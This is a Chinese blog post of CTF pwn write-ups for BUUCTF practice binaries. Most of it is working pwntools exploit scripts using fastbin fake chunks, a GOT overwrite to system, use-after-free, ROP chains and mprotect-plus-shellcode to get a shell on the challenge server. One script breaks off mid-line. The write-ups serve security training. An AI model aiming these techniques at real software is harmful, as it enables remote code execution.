• BUU-pwn(六)


    发现个pwn题目:https://github.com/bash-c/pwn_repo/

    [ZJCTF 2019]EasyHeap

    因为没有show chunk的功能,所以没法利用unsorted bin泄漏地址

    所以说只要修改magic的值即可,找到 magic 附近的fake chunk

    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    #r = remote("node4.buuoj.cn",29720)
    r = process('./easyheap')
    #r = gdb.debug("./heap")
    
    def alloc(size):
        r.sendlineafter('Your choice :','1')
        r.sendlineafter('Size of Heap : ',str(size))
        r.recvuntil("Content of heap:")
        r.sendline()
    
    def edit(index,payload):
        r.sendlineafter('Your choice :','2')
        r.sendlineafter("Index :",str(index))
        r.sendlineafter("Size of Heap : ",str(len(payload)))
        r.sendlineafter("Content of heap : ",payload)
        
    def free(index):
        r.sendlineafter('Your choice :','3')
        r.sendlineafter("Index :",str(index))
    
    def flag():
        r.recvuntil("Your choice :")
        r.sendline('4869')
    
    magic = 0x06020C0
    
    alloc(0x60)#0
    alloc(0x60)#1
    alloc(0x60)#2
    free(1)
    
    payload = b'a'*0x68+p64(0x71)+p64(magic-0x13)  # fake chunk: 0x6020ad
    edit(0,payload)
    
    alloc(0x60)#1
    alloc(0x60)#3
    payload = b'a'*0x3+p64(0xdeadbeef)
    edit(3,payload)  # x/20gx 0x6020c0
    flag()
    # gdb.attach(r)
    # pause()
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    然后远程没有这个文件,接下来想办法反弹shell,修改free_got内容为system,这样free一个chunk时调用system(),只需要往一个chunk写’/bin/sh\x00’即可

    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",29742)
    #r = process('./easyheap')
    #r = gdb.debug("./heap")
    
    def alloc(size):
        r.sendlineafter('Your choice :','1')
        r.sendlineafter('Size of Heap : ',str(size))
        r.recvuntil("Content of heap:")
        r.sendline()
    
    def edit(index,payload):
        r.sendlineafter('Your choice :','2')
        r.sendlineafter("Index :",str(index))
        r.sendlineafter("Size of Heap : ",str(len(payload)))
        r.sendlineafter("Content of heap : ",payload)
        
    def free(index):
        r.sendlineafter('Your choice :','3')
        r.sendlineafter("Index :",str(index))
    
    def flag():
        r.recvuntil("Your choice :")
        r.sendline('4869')
    
    elf = ELF('./easyheap')
    free_got = elf.got['free']  # no fake chunk
    system = elf.symbols['system']
    heaparray = 0x06020E0   # fake chunk
    
    alloc(0x60)#0
    alloc(0x60)#1
    alloc(0x60)#2
    free(1)
    
    log.info('free_got: '+str(hex(free_got)))
    log.info('system: '+str(hex(system)))
    log.info('heaparray: '+str(hex(heaparray)))
    log.info('fake chunk: '+str(hex(heaparray-0x33)))
    
    payload = b'a'*0x68+p64(0x71)+p64(heaparray-0x33)  # fake chunk to heaparray
    edit(0,payload)
    alloc(0x60)#1
    alloc(0x60)#3 fake chunk
    
    payload = b'b'*0x23+p64(free_got) # heaparray[0] = free_got
    edit(3,payload)
    
    payload = p64(system)
    edit(0,payload) # free_got -> system
    
    payload = '/bin/sh\x00'
    edit(1,payload)
    
    free(1)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    hitcontraining_uaf

    • UAF

    没有编辑的功能


    add函数,添加一个note会malloc两个chunk

    即这样:

    print函数

    del函数


    这里只存在free,没有将指针赋值为NULL,存在UAF漏洞,还有个后门函数 magic

    思路:申请两个chunk后,都free掉,再次申请0x8长度后会走到*print指针处,然后我们修改这里的值为后门函数的值,然后再调用show方法即可调用后门。

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",28194)
    #r = process('./hacknote',env = {"LD_PRELOAD": "libc_32.so.6"})
    
    def alloc(size,content):
      r.sendlineafter('choice :','1')
      r.sendlineafter('Note size :',str(size))
      r.recvuntil('Content :')
      r.sendline(content)
    
    def free(idx):
      r.sendlineafter('choice :','2')
      r.sendlineafter('Index :',str(idx))
    
    def show(idx):
      r.sendlineafter('choice :','3')
      r.sendlineafter('Index :',str(idx))
    
    shell_addr = 0x8048945
    
    alloc(0x10,'a')
    alloc(0x10,'b')
    free(0)
    free(1)
    
    alloc(0x8,p32(shell_addr))
    show(0)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    picoctf_2018_buffer overflow 1

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",27138)
    #r = process('./PicoCTF_2018_buffer_overflow_1')
    
    elf = ELF('./PicoCTF_2018_buffer_overflow_1')
    win = elf.sym['win']
    
    payload = b'a'*0x28+b'b'*0x4+p32(win)
    r.sendlineafter('Please enter your string: ',payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    mrctf2020_shellcode

    ida没法看伪代码,硬撸汇编
    读400长度到buf中,将$eax赋值给[rbp+var_4],接着与0进行比较;>0则执行 call


    直接写shellcode

    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",28695)
    #r = process('./PicoCTF_2018_buffer_overflow_1')
    
    shellcode = asm(shellcraft.sh())
    r.sendlineafter('Show me your magic!',shellcode)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    jarvisoj_test_your_memory

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",27949)
    #r = process('./memory')
    
    elf = ELF('./memory')
    system = elf.sym['win_func']
    main = elf.sym['main']
    
    payload = b'a'*0x13+b'b'*0x4+p32(system)+p32(main)+p32(0x080487E0)
    r.sendline(payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    cmcc_simplerop

    • execve:https://blog.csdn.net/A951860555/article/details/110936441
    • ret2sys
    execve("/bin/sh", NULL, NULL)获得shell
    int 0x80 汇编调用,系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存
    
    • 1
    • 2

    静态链接库,存在栈溢出


    直接找系统调用号 0x80

    ROPgadget --binary simplerop --only "int"
    
    • 1

    找赋值eax、ebx、ecx、edx

    ROPgadget --binary simplerop --only "pop|ret" | grep "eax"
    ROPgadget --binary simplerop --only "pop|ret" | grep "ebx"
    
    • 1
    • 2

    找不到bin/sh之类得字符串,所以需要我们将/bin/sh读入。读到bss段就行了。

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",28768)
    #r = process('./simplerop')
    #r = gdb.debug('./simplerop')
    
    int80 = 0x080493e1
    pop_eax_ret = 0x080bae06
    pop_edx_ecx_ebx_ret = 0x0806e850
    read_addr = 0x0806cd50
    bss_addr = 0x080eb584
    
    payload = b'a'*0x20
    payload += p32(read_addr)+p32(pop_edx_ecx_ebx_ret) # pop为栈平衡,结尾有个ret
    payload += p32(0)+p32(bss_addr)+p32(8) # 填充read参数
    payload += p32(pop_eax_ret) + p32(0x0b) #0xb为系统调用号
    payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr) # 反向输入参数
    payload += p32(0x080493e1) # 执行系统中断,调用execve
    
    r.recvuntil('Your input :')
    r.sendline(payload)
    r.sendline(b'/bin/sh\x00')
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • mprotect 开辟bss空间为可执行,然后执行shellcode

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",28768)
    #r = process('./simplerop')
    #r = gdb.debug('./simplerop')
    
    int80 = 0x080493e1
    pop_eax_ret = 0x080bae06
    pop_edx_ecx_ebx_ret = 0x0806e850
    read_addr = 0x0806cd50
    bss_addr = 0x080eb584
    mprotect_addr = 0x0806D870
    
    payload = b"a" * 0x20 + p32(mprotect_addr)		# 栈溢出运行mprotec函数
    payload += p32(pop_edx_ecx_ebx_ret)				# 平衡栈空间
    payload += p32(0x080eb000) + p32(0x1000) + p32(0x7)# mprotect函数的三个参数,修改bss段权限为RWX
    payload += p32(read_addr)						# mprotect运行后返回到read函数
    payload += p32(pop_edx_ecx_ebx_ret)				# 平衡栈空间
    payload += p32(0) + p32(bss_addr) + p32(0x44)	# read函数的三个参数,将shellcode写入bss段
    payload += p32(bss_addr)						# read函数运行后返回到bss段执行shellcode
    
    r.recvuntil('Your input :')
    r.sendline(payload)
    r.sendline(asm(shellcraft.sh()))
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    inndy_rop

    上面的mprotect可以写,这里有一种方法,利用ROPgadget,可以直接利用程序中的片段拼凑rop链

    ROPgadget --binary inndy_rop --ropchain
    
    • 1

    填充一下溢出即可

    exp

    from pwn import *
    from struct import pack
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",29048)
    
    # Padding goes here
    p=b'a'*(0xc+4)
    
    p += pack('
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    picoctf_2018_buffer overflow 2

    控制a1与a2的值即可,挨着ret

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",29237)
    
    payload = b'a'*0x6c+b'b'*0x4+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
    r.sendlineafter('Please enter your string: ',payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
  • 相关阅读:
    智能遥测终端机RTU的好处介绍
    Vuex的基础使用存值及异步
    nexus 5X刷机并使用Magisk获取root权限
    PCIe 7.0 再次将数据速率提高一倍
    java使用多线程进行批量更新数据
    一个普通码农这辈子能掌握这101道算法题就足够了
    FFmpeg编程录制音频(Mac OS)
    支持券商的量化接口怎么使用python来执行交易过程?
    C++ MiniZip实现目录压缩与解压
    818专业课【考经】—《信号系统》之章节概要:第五章 连续时间信号的变换域分析
  • 原文地址:https://blog.csdn.net/qq_53263789/article/details/126800394